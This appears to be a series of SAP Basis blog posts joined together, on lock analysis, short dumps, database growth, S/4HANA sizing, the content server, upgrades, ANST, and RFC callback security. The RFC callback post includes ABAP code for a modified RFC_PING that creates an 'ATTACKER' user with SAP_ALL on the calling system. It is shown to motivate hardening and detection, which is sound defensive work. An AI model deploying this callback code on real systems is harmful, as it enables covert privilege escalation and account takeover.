Enqueue and lock table issue analysis can be bit hard form time to time. They don’t regularly occur and when they do, they can have big system performance impact.
This blog will explain:
How to detect enqueue issues?
How to quickly analyze the enqueue issues?
Detecting enqueue issues?
Enqueue issues can be easily detected in SM50 and SM66 if work process get stuck long time with status ENQ.
First analysis on enqueue issues
The first analysis on enqueue issues can be done in transaction code SM12. From the menu now select the options Extra / Diagnosis and Extra / Diagnosis in Update. This will run the diagnostics on the enqueue handling.
Result looks like:
To get statistics on the enqueue processing, on the same SM12 start screen select the menu Extra / Statistics.
Deeper analysis on enque issues
For deeper analysis on the lock issues, you might need to switch to the detailed error handling part of SM12. This is a hidden feature. To switch it on you must have the correct authorization (S_ENQUE with ALL in the activities). Switching can be done by keying in the word TEST in the GUI command line (where you key in the tcodes and the /n etc).
Now you will see an extra menu called Error Handling.
From this menu you can directly launch program RSMONENQ_PERF via the menu option Error handling/Diagnosis environment. This programs will check the performance of the enqueue handling:
The Error Handling menu will also give you option to trace the enqueue processing.
Lock table overflow can happen when more locks are set by programs then the available allocated memory for the locks. In a normal system this will hardly occur. But during a conversion that is operating on massive amount of data (sometimes even using parallel jobs) this lock table overflow can happen. If it happens this will effect ALL users. They will get lock table overflow error and cannot save their work. More then enough reason to have large conversion tested first on a test system with production like sizing and settings.
If you are running an older ECC system, the lock table settings in the profile parameters might be set quite low. Newer upgraded ECC system can handle much higher values of the enque/table_size parameter.
After starting transaction ST22 select menu item Goto / Overview. Fill out the dates and you now get the overview including the statistics on the occurrences:
Detecting Z code in a dump is normally easy if it is a Z program. Some dumps you can have due to the fact that Z code is there in a user-exit, which again is calling SAP code. This dump will appear as looking 100% standard SAP, but when you scroll down in the Call Stack you will see Z code:
Before raising OSS message to SAP: make sure the call stack does not contain custom Z code.
RFC_NO_AUTHORITY dump
The RFC_NO_AUTHORITY is special kind of dump and typically looks like this:
First thing to get from the dump is the user ID and the calling system (is it an internal call or call from different system). And if the user ID is a human user or system user.
Second thing to determine is: is this a valid call or not a valid call?
In case of valid call, look in the dump which authorization is missing and what needs to be added. If the addition is done: do keep an eye on the dumps, since a new dump might come for a different new authorization object.
In case of an invalid call, you need to determine how the call was initiated and take action to avoid the initiation. This is not always a simple job.
Why is checking this dump important? Complete business flows might be disrupted if this happens. It is hard to detect for the end users what is going on. It will take them time to raise an incident and for functional people to determine what is going on. This way a lot of valuable time can be lost.
What can also happen: people try to connect via RFC methods to read data. This will give lot of dumps which are hard to follow up.
If you get too many of these dumps and you can’t solve them, you can switch parameter rfc/signon_error_log to value -1. Then the dumps are no longer there in ST22, but in stead moved to SM21 system log with less detail. If you need to have the details again, switch the parameter again (it is dynamic). Background on the parameter rfc/signon_error_log can be found in OSS note 402639 – Meaningful error message texts (RFC/Workplace/EBP).
CALL_FUNCTION_SINGLE_LOGIN_REJ dump
A bit similar to the above dump is the CALL_FUNCTION_SINGLE_LONG_REJ dump. Here a user tries to login via RFC to the SAP system, from a different SAP system, or from a JCO based connector.
Again: first determine if the call is valid or not. If not valid, determine the calling source (can be hard!).
If it is a valid call, scroll down in the details section for this dump and look for the part below:
There are two codes: T-RC code and the L-RC code. Check both the codes. In this case above the user ID validity was no longer ok.
Depending on the codes different solution needs to be applied.
Why is checking this dump important? Complete business flows might be disrupted if this happens to system user. If it happens to single user he might get grumpy. It is hard to find for the end users what is going on. It will take them time to raise an incident and for functional people to determine what is going on. This way a lot of valuable time can be lost.
TIME_OUT dumps
If an online query takes longer than the timing set in parameter rdisp/max_wprun_time a TIME_OUT dump will happen. By default and best practice, this time out parameter is set to 10 minutes. This is also the case in most system.
This dump will look like:
If you scroll down (or click in the left section) to the User and Transaction section, you can see the ID of the user who caused this and the transaction.
First reaction of the average basis person is: call/mail the user and ask him to run this in batch mode. This is indeed one of the solutions.
Alternative potential solutions:
Analyze with the end-user if he can fill out more selection criteria (hence reducing the time needed to select the data)
Analyze with the end-user if he can run the report in multiple smaller sets
Check if there are known performance OSS notes for the transaction the user is running (the root cause might simply be an SAP bug)
Check if the database statistics of the tables queried is up to date
In some cases both the selection criteria are ok, and the output of the list in batch only give a few results: in this case the creation of special index might be the solution. This can happen in case of check reports that look for business exceptions.
Why is checking this dump important? Users tend to get very frustrated by the system if they hit this dump. They have to wait 10 minutes and have no result. Sometimes you see this dump a couple of times in a row. Imagine yourself being the user with a boss demanding report which crashes after 10 minutes…
MESSAGE_TYPE_X dumps from program SAPLOLEA
The MESSAGE_TYPE_X can be pointing to very serious issue. But the ones generated by program SAPLOLEA point towards one type: the SAP GUI server interaction.
This dump typically look like this: a main dump MESSAGE_TYPE_X and calling program SAPLOLEA.
This dump can have 3 main root causes:
Issue in ABAP code (hit the SAP correction notes button to search for solutions)
Issue in local SAP gui installation of the end user
Issue in the SAP kernel
If you see many dumps with the same user ID: this typically points towards an old local SAP gui installation. Solution is to update the local SAP GUI for that user to the latest version that is supported in your company.
In rare cases the SAP kernel causes these kind of dumps. These are hard to find and detect. The only remedy here is to update the kernel at regular intervals.
To find which users use which SAP GUI version: go to transaction SM04 and add the field SAP GUI version:
From ABAP code: use function module TH_USER_LIST to get list of sessions. The GUI version is in the field GUIVERSION of output table USRLIST.
For more background on SAP GUI patching read this dedicated blog.
These dumps are caused by missing callback positive listing. See OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump. The solution is to add the function module to the positive list in RFC. In no way reduce the RFC security by lowering the RFC callback security parameter rfc/callback_security_method. Read this blog on how to hack using callback RFC, and why not to lower the security.
Coding and table generation dumps
Dumps can happen due to coding and tables not generated properly. When it happens during transport import, it is normal. If it persists after the import, you need to act. Best practice notes:
This blog will explain about getting insight into SAP database growth and controlling the growth.
Questions that will be answered are:
Do I have a database growth issue?
What are my largest tables?
How do I categorize my tables?
Why control database growth?
Controlling database growth has several reasons:
When converting to S/4 HANA you could end up with smaller physical HANA blade and need to buy less memory licenses from SAP
Less data storage leads to less costs (think also about production data copied back to acceptance, development and sandbox systems)
Back up / restore procedures are longer with large databases
Performance is better with smaller databases
Database growth
The most easy way to check if the database is growing too fast or not is using the Database Growth section in the SAP EWA (early watch alert). The EWA has both graphical and table representation for the growth:
You now have to determine if the growth is acceptable or not. This depends a bit on the usage of the system, amount of users, business data, and if you already stretched your infrastructure or not.
General rules of thumb:
1. Growth < 1 GB/month: do not spend time.
2. Growth > 1 GB/month and < 5 GB/month: implement technical clean up.
3. Growth > 5 GB/month: implement technical clean up and check for functional archiving opportunities.
Which are my largest tables?
To find the largest tables and indexes in your system start transaction DB02. In here select the option Space/Segments/Detailed Analysis and select all tables larger than 1 GB (or 1000 MB):
Then wait for the results and sort the results by size:
You can also download the full list.
Analysis of the large tables
Processing of the tables is usually done by starting with the largest tables first.
You can divide the tables in following categories:
Technical data: deletion and clean up can be done (logging you don’t want any more like some idoc types, application logging older than 2 years, etc): see blog on technical clean up
Technical data: archiving or storing can be done (idocs you must store, but don’t need fast access to, attachments)
In Oracle based systems, you might find large SYS_LOB tables. To analyze these, read this special blog.
SAP has a best practice document called “Data Management Guide for SAP Business Suite” or “DVM guide”. This document is updated every quarter to half year. The publication location is bit hidden by SAP under their DVM (data volume management) service. In the bottom here go to SAP support and open the How-to-guides section. Or search on google with the term “Data Management Guide for SAP Business Suite” (you might end up with a bit older version). The guide is giving you options per large table to delete and/or archive data.
Common technical objects
Most common technical tables you will come across:
EDIDC, EDIDS, EDI40: idocs
DBTABLOG: table changes
BALHDR, BALDAT: application logging
SWW* (all that start with SWW): workflow tables
SYS_LOB…..$$: attachments (office attachments and/or DB storage of attachments and/or GOS, global object services attachments)
Detailed table analysis for functional tables: TAANA tool
For detailed analysis on functional tables the TAANA (table analysis) tool can be used. Simply start transaction TAANA.
Now create a table analysis variant by giving the table name and selection of the analysis variant:
The default variant will only do a record count. Some tables (like BKPF in this example) come with a predefined ARCHIVE variant. This is most useful option. If this option does not fit your need, you can also push the create Ad Hoc Report button and define your own variant.
Caution: with the ad hoc variant select your fields with care, since the analysis will count all combinations of fields you select. Never select table key fields
Results of TAANA are visible after the TAANA batch job is finished.
By running the proper TAANA analysis for a large functional table you get insight into the distribution per year, company code, plant, document type etc. This will help you also estimate the benefits of archiving a specific object.
For TAANA improvement on dynamic subfields, please check this blog.
If you run on HANA, you can also use SE16H for the table analysis.
SAP data volume management via SAP solution manager
SAP is offering option to report on data volume management via SAP solution manager directly or as a subsection in the EWA. Experience so far with this: too long in setup, too buggy. The methods described above are much, much faster and you get insight into a matter of hours. The DVM setup will take you hours to do and days/weeks to wait for results…. TAANA and SE16H are way faster.
This blog will explain you how to set your company logo on the SAP logon screen. If you prefer text or hyperlinks on first screen or after the logon screen, please check this blog on text on logon screen. Or even integrating ABAP web dynpro page: see this blog.
Questions that will be answered are:
How to set your company or project logo on the SAP login page?
Why is the picture not shown?
Can I have multiple logon pictures?
Setting the logon picture
Start with transaction SMW0. And select the binary option:
Press execute and show the list.
Check in the menu Settings / Define MIME types that the .gif or .jpg mime type is defined. If not there define it.
Now go back to the main list and upload your company logo:
The object name will be re-used later.
Optionally you can display the picture. For this you might need to set the mime editor option (in the menu Settings / Set Mime Editor).
Now the picture is uploaded.
In transaction SM30 edit the contents of table SSM_CUST (in case your admin does not want you to use SM30, you can also use transaction SM30_SSM_CUST to maintain it):
Here add three parameters:
START_IMAGE with value ZCOMPANYLOGO (or the name you have given when uploading the image)
RESIZE_IMAGE with value NO
HIDE_START_IMAGE with value NO
Now log off and log on again: your picture should appear.
My picture does not appear, what did I do wrong?
Check the value in SSM_CUST to be set to NO for HIDE_START_IMAGE. If correctly set, try to logon, logoff.
If that fails the most common is a simple personalized GUI setting. In the logon screen select menu Extras/Settings and make sure the “Do not display picture” checkbox is not marked. Default new GUI installs have this set to on. Remove the checkbox and the picture will appear.
If you want you can also embed a webpage in stead of a picture (longer loading times might happen pending on the speed of the webpage embedded). Follow the instructions in OSS note 1387086 – HTML viewer in SAP Easy Access screen.
Multiple logon pictures
Multiple logon pictures are possible with SAP GUI 8.0. Read more in thig blog from SAP.
This blog will explain options and tools you have for S/4HANA sizing for both new installations as well as upgrades.
Questions that will be answered are:
How can I execute S/4HANA sizing?
How do I execute the memory sizing for upgrading existing ECC system on non-HANA database to S/4HANA?
How do I execute CPU sizing for S/4HANA?
How do I execute disc storage sizing for S/4HANA?
Executing S/4HANA sizing
For both greenfield and existing ECC systems the SAP specific quicksizer for S/4HANA can be used: S4HANA quicksizer, then launch the tool from that page:
For existing system you can pull data from existing system for greenfield you have to take either existing numbers from legacy system or input from project them.
The term quick sizing can be bit misleading. The tools is nowadays pretty advanced and requires quite some input.
SAP has delivered a tool to help in sizing memory for S4HANA for upgrading an existing system. In your current ECC system you need to apply OSS note 1872170 – Business Suite on HANA and S/4HANA sizing report. This will deliver ABAP report /SDF/HDB_SIZING. You test this on development system and transport it to production for productive run.
Best to run this in background. You can then get the results in the spool of the batch job.
The results give an as good as possible estimation of memory sizing after the database conversion.
SAP has released S4HANA readiness check 2.0. Please read this blog on the new tool version.
If you want to use old version, please read on.
This blog explains the new tool for SAP customers to prepare for S/4 HANA upgrade: S/4 HANA readiness check.
Questions that will be answered are:
What is the S/4 HANA readiness check?
How to execute it?
What results can I expect?
S/4 HANA readiness check
The S/4 HANA readiness check is a tool from SAP that can help you prepare for S/4 HANA upgrade. The tool is a web based online tool running in SAP cloud that is using 2 files with data from your system:
Extract from your customer code
Usage data of transactions measured in your system (based on ST03N data)
The outcome is online report with list of potential improvements in S/4 HANA that might be relevant for your business and list of potential issues when upgrading caused by custom code or by generic changes by SAP.
The end user guide of the tool can be found on the SAP site.
Execution of S/4 HANA readiness check
The main note for the readiness check is 2290622. This note describes that there 2 ways to run the check:
Via solution manager
Directly
The direct approach is the most easy. The exact steps are always updated in OSS note 2310438. Carefully implement all the prerequisite notes mentioned in this note.
After this is done 2 programs will be available.
Program SYCM_DOWNLOAD_REPOSITORY_INFO will download the ABAP custom developments.
The program will check if the where-used index is up to date. If not it will refer to OSS note 2234970. This note can be bit confusing. But basically what you need to do is run program SAPRSEUB in the background (and wait up to 2 days on larger system with many custom code!!).
Please note the following: As a prerequisite for SAP Note 2185390 or the program SYCM_DOWNLOAD_REPOSITORY_INFO, please start only the program SAPRSEUB! Do not start SAPRSEUC. If you use an MSSQL database, you must implement SAP Note 1554667 before starting SAPRSEUB; otherwise, database problems occur. More on ABAP where used index via SAPRSEUB see blog link.
The second program will capture analysis data: TMW_RC_DOWNLOAD_ANALYSIS_DATA.
You will have to start this program a few times. Every time it will launch a new batch job for each tick box you have selected.
Both of the programs will deliver you a zip file that you store on local PC or laptop.
When the analysis is finished you first enter the dashboard:
When zooming in you will reach the detailed screens with all the small details and relevant OSS note references:
Top right in the details list there is the button to create the results document. This is easier for sharing the results with management, since they typically don’t have an S user to logon to the tool.
Running S4HANA ABAP checks in your own system
With the remote ATC tool with special variant S4HANA Readiness you can run the ABAP checks in your onw system. Read this blog for more information.
New content for new S4HANA versions
With every new version of S4HANA (and its intermediate feature packs) SAP will update the simplification list and the corresponding OSS notes. This will also impact the analysis programs. OSS note 2399707 – Simplification Item Check lists down which note version you need to apply to your system to have the checks for the S4HANA version of your choice. For the newer notes you will have to use the TCI based OSS notes (see blog on notes tips & tricks).
If you have installed the latest TCI note, you also get a new program called /SDF/RC_START_CHECK. After start of this program you get this screen:
You now can immediately see if you have new versions of OSS notes to apply to get most recent checks.
And after the run, you can use the button Application Log to see a more detailed result list on the simplification checks carried out in your system.
Custom ABAP code analysis
For a more detailed analysis on your custom ABAP code you can use the remote ATC tooling for a more detailed analysis. See this blog for details.
This blog will give you technical tips and tricks regarding the SAP content server.
Questions that will be answered are:
How can I check technical connection to content server?
How can I check that the content server functions work from technical side?
How can I test a cache server setup?
How can I extend to a file size limit above 2 GB?
How to check if a document exists in the content server?
How can I log document deletions?
How can I check and fix long response times?
Technical connection test to SAP content server
The first obvious connection test is in the administration function of the content server. Start transaction OAC0 (starts with letter O and ends with zero) and select your content server. On the next screen hit the check button. If the test is ok, click on the CSADMIN button and the detailed screen comes. There should be a green light behind your content repository. If no connection or no green light, there are issues in the linking and communication to content server (content server down, firewall block, etc). More details are in OSS note 2457912 – How to create a content repository in OAC0?.
To test if all the SAP content server functions are working from the technical level you can use test program RSCMST. Unfortunately there is no transaction linked by SAP, so you have to use SE38 or SA38 to start the program. After filling out the content server on first screen, you come to the second screen where you can launch the detailed tests. Per test you have to click the execute button.
Green means test has run and ok. Red is the unfortunate one where test has run and result is not ok. Yellow means test has not yet been executed.
In an ideal case all lights are green. If you have red light best to fix it by either applying OSS note to ABAP server or patch to content server.
Your specific company might not use all the technical options for content server (like the above HTTP using mCreate), but this is hard to correlate to end user scenario’s. If your users are facing issues with content server and not all lights are green on this report, it is a basis issue to be solved.
Remark: the test program RSCMST can have bugs by itself. So check for latest version of this program and apply the OSS notes before running and relying on the program. Last known updates are from July 2017, by looking at keyword RSCMST in the SAP notes.
By using a custom ABAP program, you can test the link from ABAP server to content server and alert to monitoring. Read this blog on how to achieve this and the source of the custom ABAP program.
If you have a cache server setup and want to check if that works properly, also here test program RSCMST is used. Read OSS note 2083855 – How to check cache server access on the exact parameters to fill out.
In some cases attachments might have an unexpected long response time (despite small size of document). This can happen with GOS attachments and other (custom) code re-using the GOS attachments. Read OSS note 1783987 – Long response time for document display in Attachment list to set SU33 user parameters SAPHTTP_RFC_CHECK_TO and SAPCMS_RFC_CHECK_TO to value FAILED as solution. The note also explains the background.
If you want more information on document deletion, apply the settings from OSS note 2005308 – KPro Delete Logs to let the system log the knowledge provider document deletions in the SLG1 application log.
Signatures
Please be careful with the signature settings. They have to be consistent. This setting can be made in OAC0 for the repository and in CSADMIN for the content server. These have to be consistent. If not you get unexpected issues that it does not work, and it is hard to detect that this dis-balance in settings are causing the issue.
If possible don't use this option if you have a HANA database. All attachments and documents will be loaded into expensive memory and expensive license.
How to resolve the error “Tables COMPONENT and COMPONENT_DATA are inconsistent”?
In some very specific cases you will get the error “Tables COMPONENT and COMPONENT_DATA are inconsistent”. Solution for this issue might be to regenerate SAPHTTP and SAPHTTPA destinations with program RSHTTP05.
When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.
This blog will explain you following:
How can a hacker exploit this RFC callback weakness?
How to make the RFC callback secure?
What is the difference between RFC callback simulation and intervention?
What to do in case of a valid use of RFC callback?
RFC callback hacking in action
What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.
If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.
In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.
Code snippet of modified RFC_PING:
Call module to create user on destination ‘BACK’ and set the password.
Assign the privilege SAP_ALL (highest available privilege)
DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
DATA: ZLV_BAPIPWD TYPE XUNCODE.
DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
DATA: ZLS_BAPIPROF TYPE BAPIPROF.
DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
ZLV_BAPIBNAME = 'ATTACKER'.
ZLS_BAPILOGOND-USTYP = 'A'.
ZLV_BAPIPWD = 'Welcome_in1!'.
ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
EXPORTING
USERNAME = ZLV_BAPIBNAME
LOGONDATA = ZLS_BAPILOGOND
PASSWORD = ZLV_BAPIPWD
ADDRESS = ZLS_BAPIADDR3.
ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
EXPORTING
USERNAME = ZLV_BAPIBNAME
TABLES
PROFILES = ZLT_BAPIPROF
RETURN = ZLT_BAPIRET2.
If the admin executes the ping towards the compromised system he will see this screen:
The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).
End result on target system: ATTACKER user created by ADMIN user.
With the privileges:
This is one example. There are many different creative ways in which a callback RFC can be misused.
Detection of the RFC callbacks
RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.
Audit log trace for the above action looks as follows:
How to make the RFC callback secure?
The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.
rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.
rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog). This setting is still insecure!
It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).
Make sure in the audit log, that the simulation is captured:
Simulate for a while, and the generate the white list (or positive list):
rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:
Callback positive lists
In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.
If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.
Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.
SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:
(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)
Known positive callback: SAP screen painter RFC EU_SCRP_WN32
Known random callback issue: transport related callback calls
Some cases around transports are know. For example with system copies and refreshes. An RFC callback dump on module TRINT_PROGRESS_INDICATOR might occur on RFC destination BACK. In the dump you will find the real RFC (type TCP/IP) destination with variable LV_TP_DESTINATION. Regeneration is needed. Follow the instructions of OSS note 3356141 – CALLBACK_REJECTED_BY_WHITELIST when showing transport orders buffer.
This blog explains about preparation you can do for SAP upgrade of support package.
Questions that will be answered are:
Where to find support package schedule?
Where to find version information on upgrades?
Do I need to do delta sizing for upgrade?
Do I need to perform extra preparation steps for an S4HANA upgrade?
Determining the version: why not to use the latest minus one?
Latest available main version for upgrade
For the latest available version you can check the SAP product availability matrix site. This is also know as the SAP-PAM.
After finding the right product on the first tab you can see the current release details and end of support date.
On the second tab you see the upgrade paths that are supported:
In the middle the target version. On the left hand the versions from which you can upgrade. To the right are even higher versions you can upgrade to.
Also check here the support Linux versions. You might be surprised: you often need to upgrade the operating system first before you can upgrade your application.
Same for the HANA database or database version: newer releases of functional software will force you to upgrade your database as (or upgrade database first).
Latest available versions of support packages
The latest available versions of support packages are published by SAP on the SAP support package stacks page. On this page click on the SAP support package stack maintenance schedule link to download the latest version of the schedule.
Support package version: minus one or latest?
In many companies there is a policy to never take the latest version of a support package. The line of thinking is: let other people solve the bugs of SAP first.
Current delivery of ABAP support packages is quite good. And the frequency is not so high as in the past. For ECC about 2 to 3 support packages per year are released (as compare to 6 to 9 in the past in the 4.6 ages).
In stead of taking minus one, you can also consider this rule: at point of go-live make sure that the support package is at least released 3 months ago. This will counter the risk of having an issue which is not discovered by anyone else before.
People using the rule minus one without thinking should not be trusted. It is like going to Apple and insisting on Iphone 11, because you don't trust Iphone 12 and use the rule minus one...
Delta sizing
Delta sizing for support packages is not needed. Delta sizing for an upgrade might be required if:
Upgrade crosses multiple versions (for example upgrade from Netweaver 6.20 to Netweaver 7.51)
Upgrade is including a new database (for example migration to HANA database)
Specific upgrade manual is specific about delta sizing (for example the upgrade from SAP solution manager 7.1 to 7.2 is specific enough to carry out delta sizing)
For ECC to S4HANA conversion
Custom code
For analyzing custom code before the upgrade you can use the CDMC toolset. For more information read this blog.
Also use the clone finder to find clones. You might need to delete the clones or adjust them after the upgrade. More information on the clone finder tool can be read in this blog.
Releasing transports and cleaning up transport pipeline
For both support package and upgrade releasing transports is a technical must. It is wise to start a few months before already cleaning up the transport pipeline (transports that are old and not released in development system, transports that are imported into quality environment, but no imported in productive system).
Check the clients
Check if you still have client 001 or 066. If yes, consider deletion. See dedicated blog.
BI queues
During the upgrade all BI queues must be empty. Check it upfront and/or delete them. For more information on BI queue deletion, read this dedicated blog.
Inactive code and data dictionary objects
Before upgrade or support pack can start all code and data dictionary objects must be activated or deleted.
In some rare cases there are inconsistencies in the data dictionary objects. Check table DWINACTIV in this case.
Side effect report for support packages
Per support package SAP keeps track of the unwanted side effects. OSS note 2388572 explains you how to retrieve them for your support package. Best to scan the side effects and apply the ones you think are needed.
For upgrades the side effects list is too large: here you simply need to test and fix any issues encountered.
New functions
After the upgrade you can start to use new functions. Some main functions are listed in the SAP help pages. The more unknown small features are listed by SAP in the SAP improvements finder xls. This xls has 2 tabs: first with the most recent and second with the long list of improvements since 2014. Per improvement you need to check pee-conditions of release and support package, but if you upgraded to recent version, most of the improvements will be installed. Some improvements are always active, some need extra activation steps. This is documented per improvement item.
New security parameters
After an upgrade (not support packs) new security parameters can be introduced to SAP. Prepare already which ones might impact you. For S4HANA upgrades and new security parameters read this dedicated blog.
An upgrade from ECC to S4HANA requires a different approach. In this upgrade also the simplification items and custom code migrations must be done. Read more in this dedicated blog.
For more S4HANA conversion preparations, read this blog.
Aftercare after upgrade
For aftercare after upgrade or support package read this blog.
This blog will explain one of the most useful new tools from SAP when having to find bugs in standard SAP coding. The ANST (automated notes search tool) is not receiving the recognition that is should get. In usability it is same ease as the SNOTE tool.
If you love SNOTE you will also love the ANST tool! Just try it out.
Questions that will be answered in this blog:
What is the ANST automated notes search tool?
How does is work?
Why should I always use this tool before submitting an incident to SAP?
ANST (advanced notes search tool)
The ANST tool can help you in:
Quickly finding OSS notes for your issue
Check if you Z code is causing the issue or dump, or it is a standard SAP issue
OSS note 1818192 is the ANST FAQ note which also has the minimum version. This note also has an extensive explanation. The how to use below is just a summary.
OSS note 2605555 also contains an excellent PDF inside as attachment, that gives a step by step manual.
How to use the ANST tool?
Start transaction code ANST.
If you launch it for first time you might get an error "ANST001 Fatal Error. Customizing table is not filled". If this is the case follow the solution steps in OSS note 1909768.
In the transaction code box key in the transaction where you have the issue. As example we will use transaction code S_BCE_68001417 (search for authorizations by complex criteria). The user admin is complaining about an incorrect number of selected authorizations that are shown in that transaction.
So key in the transaction code and description (you can keep it same).
Now press execute: the transaction will be called. In the authorization object screen fill out S_DEVELOP and execute again to get the results:
Now leave the transaction recording.
In the left bottom of the screen you can see the recording being written into the trace file:
Depending on the complexity and amount of screens you have passed this can take up to 1 to 10 minutes.
The result is shown after the trace file. The result is sorted per SAP module. If you open the details, you can also see the exact program blocks that were hit during the recording.
Now you can select the modules (if wanted specific code blocks) where you thinks is the issue. After selection hit the Note Search button. The SAP system will now connect to SAP service marketplace and look for the most recent notes for your version, which have not yet been implemented.
The middle note seems to be very relevant. From this screen you can can already link to the note (click on note number) and start download to SNOTE already.
Tips on the selection of the components:
1. Never select more than 1000 components: ANST will reject this
2. The less components you select the faster you get results, and shorter list of potential notes as well
3. If you want you can later retrieve the recording and make a different search on different components: no need to re-record
4. Most of the times you can ignore the basis and cross application and basis notes
5. Run the recording and the result together with your functional consultant: he can help filter the components and select useful notes
Changing settings for maximum amount of notes
Especially in the basis or core ABAP area you will notice that ANST cannot read more than 1000 notes at once. This is a default setting you can easily change. In the main ANST screen hit the Settings button and scroll to the right to increase the maximum notes number:
Using ANST to analyze short dumps
The ANST tool can be used as well to analyze short dumps. Just start the ANST tool and run the steps including the step where the dump occurs. After the dump the ANST tool will trace the modules including the point where the dump occurs.
Make sure OSS note 2535278 is applied: this contains bug fix for the short dump case.
Checking for customer code issues
After the trace file is generated and you have searched for OSS notes, it can be there is still an issue caused by your own customer code. To exclude this (or to check it anyhow), you have to use the button Customer Code from the trace result screen with all the components. Be a bit patient while the tool is scanning for modifications, user-exits, BADI implementations and enhancement spots it came across in the recording.
If you want to analyze implicit and explicit enhancements as well with ANST you must apply OSS note 2408785 first.
ANST clickable demo
SAP has made a nice clickable demo to show you how it works: link to demo.
Use of ANST tool before submitting incident to SAP
Even if the ANST tool does not help you search for the correct OSS note for your issue, the ANST tool can help you in speed up of the incident solution for SAP.
If you want to report the issue to SAP as an incident download the ANST trace file. If you report the incident mention:
ANST tool is used and add the recording
Add list of already implemented OSS notes
You already checked for customer code
With this information the first line processor will have a quick job assigning the incident to the real issue solvers in Walldorf. This will save you valuable time, since the first line normally come with simple list of notes, or also run the ANST tool themselves, and then come with obvious notes.
Increasing the maximum number of objects limit
If you are using the ANST tool on a transaction with many objects (for example ME21n purchase order), you will notice that you cannot search for more than 1000 objects at the same time. Then you have to open subsection and select subtree and run it more than once with different selections. But sometimes one node really expands into more than 1000 objects. In this case, you best increase the maximum object limit. In ANST start screen choose the Settings button can increase the Max.Object counter on the far right of the settings (scrolling required)
Needless to say, more objects do take more time to analyze. But it is worth the wait.
